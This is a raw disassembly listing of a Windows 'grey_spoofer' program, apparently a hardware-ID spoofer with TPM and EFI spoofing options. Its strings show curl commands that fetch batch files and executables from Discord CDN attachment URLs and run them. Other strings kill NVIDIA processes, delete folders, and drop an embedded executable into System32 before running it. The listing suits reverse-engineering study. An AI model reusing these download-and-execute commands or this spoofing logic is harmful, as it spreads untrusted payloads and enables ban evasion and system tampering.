lea rcx, [rbp - 0x80]
mov rbx, rax
call fcn.140046c60
mov r8, rax
lea rcx, [rbp + 0xf0]
mov rdx, rdi
call fcn.1400635c0
mov rdx, rax
lea r8, [0x14016d8bc]
lea rcx, [rbp + 0x90]
call fcn.140063870
mov r8, rbx
lea rcx, [rbp + 0x50]
mov rdx, rax
call fcn.1400638e0
mov rcx, rax
call fcn.1400311c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x50]
call fcn.1400311d0
lea rcx, [rbp + 0x90]
call fcn.1400311d0
lea rcx, [rbp + 0xf0]
call fcn.1400311d0
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rcx, [rbp - 0x58]
call fcn.1400311d0
lea rcx, [rbp - 0x58]
call fcn.140046c60
lea rcx, [rbp - 0x80]
mov rbx, rax
call fcn.140046c60
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
lea rcx, [rbp + 0xf0]
call fcn.1400635c0
mov rdx, rax
lea r8, [0x14016d8bc]
lea rcx, [rbp + 0x90]
call fcn.140063870
mov r8, rbx
lea rcx, [rbp + 0x50]
mov rdx, rax
call fcn.1400638e0
mov rcx, rax
call fcn.1400311c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x50]
call fcn.1400311d0
lea rcx, [rbp + 0x90]
call fcn.1400311d0
lea rcx, [rbp + 0xf0]
call fcn.1400311d0
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rcx, [rbp - 0x58]
call fcn.1400311d0
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1201050423356829808_1201074906788532224_mac.bat___output_C:Usersmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1201047362332798996_nprojecto.exe___output_C:Users_nprojecto.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Users_nprojecto.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Usersmac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvcontainer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvsphelper64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Share.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Web___Helper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:Users_username_AppDataLocalNVIDIA_Corporation
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_NvNode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14004d650
call fcn.140057cf0
call fcn.140040da0
lea rbx, [0x1403960e0]
lea rdi, [0x1403963a0]
nop word [rax + rax]
lea rcx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x736c63
mov byte [rbp - 0xc], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x14005d082
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0xb]
mov dword [rbp - 0xb], 0x736c63
mov byte [rbp - 7], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x14005d060
jmp 0x14005d0ba
lea rdi, [0x1403963a0]
cmp byte [0x140395f64], 0
je 0x14005d105
lea rdx, [rbp - 0x80]
call fcn.14005fce0
mov r8d, 0x60a00
lea rdx, str.MZS__A
lea rcx, [rbp - 0x80]
call fcn.140046df0
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rcx, str.C:WindowsSystem32Update.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Update.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp byte [0x140395e39], 0
je 0x14005d241
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rbp - 0x80]
call fcn.14005fbf0
mov r8d, 0x5e670
lea rdx, [0x14032e880]
lea rcx, [rbp - 0x80]
call fcn.140046df0
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rdx, [rbp - 0x80]
call fcn.14005fb00
mov r8d, 0x7180
lea rdx, [0x14038cf20]
lea rcx, [rbp - 0x80]
call fcn.140046df0
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rdx, [rbp - 0x80]
call fcn.14005fa10
mov r8d, 0x8788
lea rdx, [0x140312e50]
lea rcx, [rbp - 0x80]
call fcn.140046df0
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1198799358058053644_AmiSpoof.bat___output_C:UsersAmiSpoof.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersAMIDEWINx64.EXE
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Users_amigendrv64.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Users_amifldrv64.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:UsersAmiSpoof.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call fcn.140040da0
lea rbx, [0x1403960e0]
nop dword [rax + rax]
lea rcx, [rbp - 6]
mov dword [rbp - 6], 0x736c63
mov byte [rbp - 2], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x14005d212
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 1]
mov dword [rbp - 1], 0x736c63
mov byte [rbp + 3], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x14005d1f0
cmp byte [0x140395f67], 0
jne 0x14005e719
cmp byte [0x140395e3b], 0
je 0x14005d2e0
call fcn.14004d650
lea rbx, [0x1403960e0]
nop word [rax + rax]
lea rcx, [rbp + 4]
mov dword [rbp + 4], 0x736c63
mov byte [rbp + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x14005d292
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 9]
mov dword [rbp + 9], 0x736c63
mov byte [rbp + 0xd], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x14005d270
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1199423382668718190_Remove_Trace__Clean.bat___output_C:UsersRemove_Trace__Clean.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersRemove_Trace__Clean.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140040da0
call fcn.14002df40
movaps xmm1, xmm14
movaps xmm0, xmm12
call fcn.140017ee0
movss xmm4, dword [0x140394ce0]
lea r8, [rbp + 0x1a8]
movss xmm0, dword [0x140394ce4]
subss xmm4, xmm6
subss xmm0, xmm9
mov dword [rbp + 0x1a8], 0x41900000
movzx r9d, r12b
mov dword [rbp + 0x1ac], 0x41900000
lea rdx, [rbp + 0x1b0]
lea rcx, str.Container2
mulss xmm4, xmm13
movss dword [rbp + 0x1b4], xmm0
movss dword [rbp + 0x1b0], xmm4
call fcn.14002da50
lea rdx, [0x140395f66]
lea rcx, str.SPOOF_ALL
call fcn.140030600
call fcn.140030130
lea rdx, [0x140395f64]
lea rcx, str.TPM_CLEANER
call fcn.140030600
call fcn.140030130
lea rdx, [0x140395f67]
lea rcx, str.EFI_SPOOFER
call fcn.140030600
call fcn.140030130
mov rcx, qword [0x140395e40]
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x114]
subss xmm1, dword [rax + 0x2c]
addss xmm1, dword [rax + 0x90]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
addss xmm1, dword [0x14017437c]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm0, xmm1
movss dword [rax + 0x114], xmm0
call fcn.14002df40
movss xmm8, dword [0x14017430c]
mov ecx, r12d
call fcn.1400063a0
mov rcx, qword [0x140395e40]
lea rdx, [rbp + 0x1f8]
movss xmm2, dword [0x140394ce0]
subss xmm2, dword [0x1401743b0]
mov dword [rbp + 0x1f8], 0x42480000
mov rax, qword [rcx + 0x4038]
mov dword [rbp + 0x1fc], 0x42480000
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm0, dword [rax + 0x28]
movss xmm1, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x8c]
subss xmm1, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm2, xmm0
addss xmm1, xmm12
movss dword [rax + 0x110], xmm2
movss dword [rax + 0x114], xmm1
call fcn.14002f3e0
test al, al
je 0x14005d4aa
mov rcx, qword [0x140395ea0]
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
movss xmm1, dword [0x140396934]
lea rcx, [rbp - 0x30]
movss xmm0, dword [0x140396930]
mov rax, qword [0x140395e40]
movss dword [rbp - 0x2c], xmm1
movss dword [rbp - 0x30], xmm0
movss xmm0, dword [0x140396938]
movss xmm1, dword [rax + 0x38f0]
mulss xmm1, dword [0x1401742c4]
movss dword [rbp - 0x28], xmm0
mulss xmm1, dword [0x14039693c]
movss dword [rbp - 0x24], xmm1
call fcn.140005ce0
mov ecx, eax
call fcn.140056db0
mov rcx, qword [0x140395e40]
lea rdx, [rbp - 0x58]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
addss xmm0, xmm12
addss xmm1, xmm12
movss dword [rax + 0x114], xmm0
movsd xmm0, qword [0x140394ce0]
movsd qword [rbp - 0x58], xmm0
movss dword [rax + 0x110], xmm1
call fcn.140036c20
mov rax, qword [0x140395e40]
mov ecx, dword [rax + 0x409c]
test ecx, ecx
je 0x14005d61c
cmp ecx, dword [rax + 0x49a8]
jne 0x14005d61c
mov rcx, qword [0x140395ea0]
lea rdx, [0x140395ec8]
call qword [sym.imp.USER32.dll_GetWindowRect]
cvttss2si edi, dword [0x140394ce4]
lea rcx, [rbp + 0x408]
cvttss2si esi, dword [0x140394ce0]
movaps xmm2, xmm11
call fcn.1400151f0
movd xmm0, dword [0x140395ecc]
lea rcx, [rbp + 0x208]
cvtdq2ps xmm0, xmm0
movaps xmm2, xmm11
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.1400151f0
mov r9d, esi
mov rcx, qword [0x140395ea0]
mov r8d, ebx
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], edi
movd xmm0, dword [0x140395ec8]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
xor esi, esi
call fcn.1400130d0
call fcn.14000cee0
mov rcx, qword [0x140396840]
xor r8d, r8d
mov edx, 7
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x140396840]
xor r8d, r8d
mov edx, reloc.WLDAP32.dll_Ordinal_27
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x140396840]
xor r8d, r8d
mov edx, 0xae
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x140396840]
mov r9d, 3
movss xmm7, dword [0x140174314]
xor r8d, r8d
mov dword [rsp + 0x30], esi
xor edx, edx
movss dword [rsp + 0x28], xmm7
mov rax, qword [rcx]
mov dword [rsp + 0x20], 0xff728c99
call qword [rax + 0x158]
mov rcx, qword [0x140396840]
mov rax, qword [rcx]
call qword [rax + pe_nt_image_headers64]
test eax, eax
js 0x14005d716
call fcn.14000cee0
mov rbx, qword [0x140395e40]
cmp dword [rbx + 0x4af8], 0
jg 0x14005d6e6
mov r8d, 0x76a
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4b00]
mov rcx, qword [rax]
mov rax, rsi
add rcx, 0x48
cmp byte [rcx], 0
cmovne rax, rcx
mov rcx, rax
call fcn.14003dc00
mov rcx, qword [0x140396840]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x140396840]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x14005b334
mov rcx, qword [0x140396840]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x14005b334
call fcn.14003e4a0
mov rcx, qword [0x140396840]
lea rdx, [0x140396850]
mov rax, qword [rcx]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x14005d793
mov r8d, 0x800
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedexamplesexample_win32_directx9main.cpp
lea rcx, [0x140161cd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140395e40]
test rax, rax
je 0x14005b334
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14005b334
cmp qword [rcx], 0
je 0x14005b334
call fcn.14003e230
jmp 0x14005b334
cmp eax, 2
jne 0x14005d3f8
movss xmm0, dword [0x140394ce0]
lea r8, [rbp + 0x1b8]
movss xmm1, dword [0x140394ce4]
lea rdx, [rbp + 0x1c0]
subss xmm0, dword [0x1401743dc]
subss xmm1, dword [0x1401743c0]
movzx r9d, r12b
mov dword [rbp + 0x1b8], 0x41200000
lea rcx, str.Container1
mov dword [rbp + 0x1bc], 0x41200000
movss dword [rbp + 0x1c0], xmm0
movss dword [rbp + 0x1c4], xmm1
call fcn.14002da50
mov rax, qword [0x1403966e8]
mov rdx, qword [0x1403966e0]
sub rax, rdx
sar rax, 6
test rax, rax
je 0x14005daf7
movdqa xmm6, xmmword [0x140174650]
xor r14d, r14d
mov edi, r14d
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rbx, [rdx + rdi]
lea rdx, str._n_name:
call fcn.1400633f0
cmp qword [rbx + 0x18], 0xf
mov rdx, rbx
jbe 0x14005d884
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.140065f70
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x50]
call fcn.140061ee0
mov rcx, rax
call fcn.140046850
lea rdx, [rbp + 0x318]
mov qword [rbp + 0x318], rax
lea rcx, [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x90]
mov eax, dword [rbp + 0xb0]
lea r9, [rbp + 0xf0]
movups xmm1, xmmword [rbp + 0xa0]
lea r8, str._a__m__d__y__H:_M:_S__Z
mov edx, 0x50
lea rcx, [rbp + 0x370]
movaps xmmword [rbp + 0xf0], xmm0
movaps xmmword [rbp + 0x100], xmm1
mov dword [rbp + 0x110], eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
mov qword [rbp - 0x48], r14
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x40], r14
lea rax, [rbp + 0x370]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14005d921
lea rdx, [rbp + 0x370]
lea rcx, [rbp - 0x58]
call fcn.1400312d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._:_expiry:
call fcn.1400633f0
cmp qword [rbp - 0x40], 0xf
lea rdx, [rbp - 0x58]
mov r8, qword [rbp - 0x48]
mov rcx, rax
cmova rdx, qword [rbp - 0x58]
call fcn.140065f70
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14005d9a2
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d99d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f77c
call fcn.140131320
lea rdx, str.Expira_em_:
lea rcx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm9
call fcn.1400363f0
movaps xmm1, xmm10
movaps xmm0, xmm12
call fcn.140017ee0
lea rcx, [rbp + 0x50]
lea rdx, [rbx + 0x20]
call fcn.140061ee0
mov rcx, rax
call fcn.140046850
lea rdx, [rbp + 0x308]
mov qword [rbp + 0x308], rax
lea rcx, [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x90]
mov eax, dword [rbp + 0xb0]
lea r9, [rbp + 0xf0]
movups xmm1, xmmword [rbp + 0xa0]
lea r8, str._a__m__d__y__H:_M:_S__Z
mov edx, 0x50
lea rcx, [rbp + 0x370]
movaps xmmword [rbp + 0xf0], xmm0
movaps xmmword [rbp + 0x100], xmm1
mov dword [rbp + 0x110], eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
mov qword [rbp - 0x70], r14
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x68], r14
lea rax, [rbp + 0x370]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14005da55
lea rdx, [rbp + 0x370]
lea rcx, [rbp - 0x80]
call fcn.1400312d0
cmp qword [rbp - 0x68], 0xf
lea r8, [rbp - 0x80]
lea rdx, [0x140166ca8]
cmova r8, qword [rbp - 0x80]
lea rcx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm6
call fcn.1400363f0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005dacb
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005dac6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f783
call fcn.140131320
call fcn.140030130
mov rcx, qword [0x1403966e8]
inc esi
mov rdx, qword [0x1403966e0]
add rdi, 0x40
sub rcx, rdx
movsxd rax, esi
sar rcx, 6
cmp rax, rcx
jb 0x14005d860
lea rdx, str.IP_address_:
lea rcx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm9
call fcn.1400363f0
movaps xmm1, xmm10
movaps xmm0, xmm12
call fcn.140017ee0
movdqa xmm0, xmmword [0x140174650]
lea r8, [rbp - 0x80]
movaps xmm1, xmmword [0x140396670]
lea rdx, [0x140166ca8]
movups xmmword [rbp - 0x58], xmm0
lea rcx, [rbp - 0x58]
movaps xmm0, xmmword [0x140396660]
movaps xmmword [rbp - 0x80], xmm0
movaps xmmword [rbp - 0x70], xmm1
call fcn.1400363f0
call fcn.140030130
call fcn.14002df40
xor esi, esi
jmp 0x14005d3f8
cmp ecx, 3
jne 0x14005d401
mov r8, qword [0x140395e40]
test r8, r8
jne 0x14005db9c
mov r8d, 0x10d9
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov ecx, dword [0x1403968c8]
mov r8, qword [0x140395e40]
movss xmm1, dword [r8 + 0x18]
mulss xmm1, dword [0x140174344]
cmp ecx, 3
jne 0x14005dbb9
movss xmm6, dword [0x1401743e4]
jmp 0x14005dbbd
movaps xmm6, xmm12
subss xmm6, dword [0x1403968b8]
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x288]
mov byte [rax + 0xc0], r12b
movss xmm0, dword [0x140396930]
mov rax, qword [r8 + 0x4038]
mulss xmm6, xmm1
movss xmm1, dword [0x140396934]
mov rbx, qword [rax + 0x2a8]
addss xmm6, dword [0x1403968b8]
movss dword [rbp + 0x28c], xmm1
movss xmm1, dword [r8 + 0x38f0]
mulss xmm1, dword [0x1401742d0]
movss dword [rbp + 0x288], xmm0
movss xmm0, dword [0x140396938]
mulss xmm1, dword [0x14039693c]
movss dword [0x1403968b8], xmm6
movss dword [rbp + 0x290], xmm0
movss dword [rbp + 0x294], xmm1
call fcn.140005ce0
movss xmm7, dword [0x140394ce0]
mov edi, eax
movss xmm8, dword [0x140394ce4]
movaps xmm1, xmm7
movss xmm9, dword [rbp + 0x30]
movaps xmm2, xmm8
movss xmm10, dword [rbp + 0x34]
movaps xmm0, xmm9
mulss xmm1, xmm13
mulss xmm2, xmm13
addss xmm0, xmm1
movaps xmm1, xmm10
addss xmm1, xmm2
movss dword [rbp + 0x1c8], xmm0
movss dword [rbp + 0x1cc], xmm1
test eax, 0xff000000
je 0x14005dd25
comiss xmm13, xmm6
ja 0x14005dd25
movss xmm0, dword [0x140174364]
subss xmm6, xmm13
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x1c8]
movaps xmm3, xmm12
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
movaps xmm2, xmm6
call fcn.140025860
mov r8d, dword [rbx + 0x78]
mov r9d, edi
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
movss dword [rsp + 0x28], xmm15
mov dword [rsp + 0x20], r12d
call fcn.140023e70
mov r8, qword [0x140395e40]
movss xmm8, dword [0x140394ce4]
movss xmm7, dword [0x140394ce0]
movss xmm6, dword [0x1403968b8]
mov dword [rbx + 0x78], esi
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x298]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x140396934]
movss xmm0, dword [0x140396930]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x29c], xmm1
movss xmm1, dword [r8 + 0x38f0]
mulss xmm1, dword [0x1401742e0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x298], xmm0
movss xmm0, dword [0x140396938]
mulss xmm1, dword [0x14039693c]
movss dword [rbp + 0x2a0], xmm0
movss dword [rbp + 0x2a4], xmm1
call fcn.140005ce0
movaps xmm1, xmm7
movaps xmm2, xmm8
mulss xmm1, xmm13
movaps xmm0, xmm9
mov edi, eax
mulss xmm2, xmm13
movaps xmm4, xmm6
mulss xmm4, dword [0x140174330]
addss xmm0, xmm1
movaps xmm1, xmm10
addss xmm1, xmm2
movss dword [rbp + 0x1d0], xmm0
movss dword [rbp + 0x1d4], xmm1
test eax, 0xff000000
je 0x14005de5f
comiss xmm13, xmm4
ja 0x14005de5f
movss xmm0, dword [0x140174364]
subss xmm4, xmm13
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x1d0]
movaps xmm3, xmm12
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
movaps xmm2, xmm4
call fcn.140025860
mov r8d, dword [rbx + 0x78]
mov r9d, edi
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
movss dword [rsp + 0x28], xmm15
mov dword [rsp + 0x20], r12d
call fcn.140023e70
mov r8, qword [0x140395e40]
movss xmm8, dword [0x140394ce4]
movss xmm7, dword [0x140394ce0]
movss xmm6, dword [0x1403968b8]
mov dword [rbx + 0x78], esi
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x2a8]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x140396934]
movss xmm0, dword [0x140396930]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x2ac], xmm1
movss xmm1, dword [0x14039693c]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x2a8], xmm0
movss xmm0, dword [0x140396938]
movss dword [rbp + 0x2b4], xmm1
movss dword [rbp + 0x2b0], xmm0
call fcn.140005ce0
movaps xmm1, xmm7
movaps xmm2, xmm8
mulss xmm1, xmm13
movaps xmm0, xmm9
mov edi, eax
mulss xmm2, xmm13
movaps xmm4, xmm6
mulss xmm4, dword [0x140174344]
addss xmm0, xmm1
movaps xmm1, xmm10
addss xmm1, xmm2
movss dword [rbp + 0x1d8], xmm0
movss dword [rbp + 0x1dc], xmm1
test eax, 0xff000000
je 0x14005df91
comiss xmm13, xmm4
ja 0x14005df91
movss xmm0, dword [0x140174364]
subss xmm4, xmm13
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x1d8]
movaps xmm3, xmm12
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
movaps xmm2, xmm4
call fcn.140025860
mov r8d, dword [rbx + 0x78]
mov r9d, edi
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
movss dword [rsp + 0x28], xmm15
mov dword [rsp + 0x20], r12d
call fcn.140023e70
mov r8, qword [0x140395e40]
movss xmm8, dword [0x140394ce4]
movss xmm7, dword [0x140394ce0]
movss xmm6, dword [0x1403968b8]
mov dword [rbx + 0x78], esi
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0xb8]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x140396934]
movss xmm0, dword [0x140396930]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0xbc], xmm1
movss xmm1, dword [0x14039693c]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0xb8], xmm0
movss xmm0, dword [0x140396938]
movss dword [rbp + 0xc4], xmm1
movss dword [rbp + 0xc0], xmm0
call fcn.140005ce0
mulss xmm7, xmm13
movaps xmm0, xmm9
mov edi, eax
mulss xmm8, xmm13
movaps xmm1, xmm10
mulss xmm6, xmm15
addss xmm0, xmm7
addss xmm1, xmm8
movss dword [rbp + 0x1e0], xmm0
movss dword [rbp + 0x1e4], xmm1
test eax, 0xff000000
je 0x14005e09e
comiss xmm13, xmm6
ja 0x14005e09e
movss xmm0, dword [0x140174364]
subss xmm6, xmm13
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x1e0]
movaps xmm3, xmm12
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
movaps xmm2, xmm6
call fcn.140025860
mov r8d, dword [rbx + 0x78]
mov r9d, edi
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
movss dword [rsp + 0x28], xmm15
mov dword [rsp + 0x20], r12d
call fcn.140023e70
mov r8, qword [0x140395e40]
mov dword [rbx + 0x78], esi
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x70]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x140396934]
movss xmm0, dword [0x140396930]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x74], xmm1
movss xmm1, dword [0x14039693c]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x70], xmm0
movss xmm0, dword [0x140396938]
movss dword [rbp + 0x7c], xmm1
movss dword [rbp + 0x78], xmm0
call fcn.140005ce0
movss xmm7, dword [0x140174420]
lea rdx, [rbp + 0xe0]
movss xmm2, dword [r8 + 0x3d60]
mov esi, eax
mov rcx, qword [r8 + 0x3d58]
lea rax, str.Data_replacement_completed_successfully.
xor r14d, r14d
movaps xmm3, xmm7
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.14002c5c0
movss xmm0, dword [rbp + 0xe0]
movss xmm8, dword [0x14017430c]
movss xmm2, dword [0x140394ce0]
addss xmm0, xmm8
movss xmm3, dword [0x140394ce4]
subss xmm3, dword [rbp + 0xe4]
cvttss2si eax, xmm0
subss xmm3, xmm14
movaps xmm0, xmm9
movd xmm1, eax
mulss xmm3, xmm13
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0xe0], xmm1
subss xmm2, xmm1
movaps xmm1, xmm10
addss xmm1, xmm3
subss xmm2, xmm12
movss dword [rbp + 0x1ec], xmm1
mulss xmm2, xmm13
addss xmm0, xmm2
movss dword [rbp + 0x1e8], xmm0
test esi, 0xff000000
je 0x14005e252
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
